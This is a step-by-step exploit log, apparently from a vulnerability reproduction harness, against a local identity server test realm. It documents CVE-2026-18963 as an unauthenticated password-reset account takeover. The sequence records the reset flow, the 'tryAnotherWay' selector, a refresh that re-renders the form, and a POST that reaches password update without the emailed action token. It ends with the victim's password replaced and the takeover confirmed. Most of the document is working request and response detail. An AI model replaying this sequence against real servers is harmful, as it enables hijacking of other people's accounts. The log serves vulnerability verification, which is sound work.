### CVE-2026-18963 attempt role=vuln num=1
step1 forgot-password URL: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step2 choose-user form action: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=4buHhkghfKVF0RRR1Hr3IvQ7IGh3i3f_mdERhhCmDZM&execution=a469d656-017a-428a-9b5b-cee0a2f88064&client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step3 tryAnotherWay -> selector screen markers: 1
step3 selector form action: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=iKBCGkZNRBSy-UC1j58xJJqWrHS_7jVeXSzTywWebIE&execution=a469d656-017a-428a-9b5b-cee0a2f88064&client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step4 username=victim -> email-sent page markers: 1
step4 smtp action-token links captured: before=0 after=2
step4 NOTE: the action-token link went to victim@cvetest.local only; the attacker never sees it
step5 GET refresh -> selector markers=1 email-sent markers=0
step5 VULN-BEHAVIOR: selector re-rendered; form action now targets: http://localhost:8080/realms/cvetest/login-actions/reset-credentials?session_code=8AAcXOXoZouP-vE4pIeou3pMm1QqjbWGO_OyUXzP2vU&execution=890e68e8-971e-4553-be01-f95cd4c317ea&client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step6 POST email execution (no action token) -> HTTP/1.1 302 Found Location: http://localhost:8080/realms/cvetest/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step6b password-update form fields: 7
step6b password form action: http://localhost:8080/realms/cvetest/login-actions/required-action?session_code=oebhhRvcPpfpRNd0X-Yw4zZ19xpKuQFMcHRbf8JC_SA&execution=UPDATE_PASSWORD&client_id=account&tab_id=k_LZLgmkTC8&client_data=eyJydSI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9yZWFsbXMvY3ZldGVzdC9hY2NvdW50LyIsInJ0IjoiY29kZSJ9
step7 new password -> HTTP/1.1 302 Found Location: http://localhost:8080/realms/cvetest/account/?session_state=lOGhTCukKtRcubCZzKWDG0UP&iss=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Fcvetest&code=73695363-672b-bf76-974e-7fb7dd7f3642.lOGhTCukKtRcubCZzKWDG0UP.0e71ebde-ebd9-4c38-ad67-90604d5a470d
step7: attacker session established as 'victim' (auth code issued)
step8 takeover verify: NEW password token HTTP 200 (want 200), OLD password token HTTP 400 (want !=200)
RESULT: EXPLOITED - victim account password replaced without the email link (unauthenticated ATO)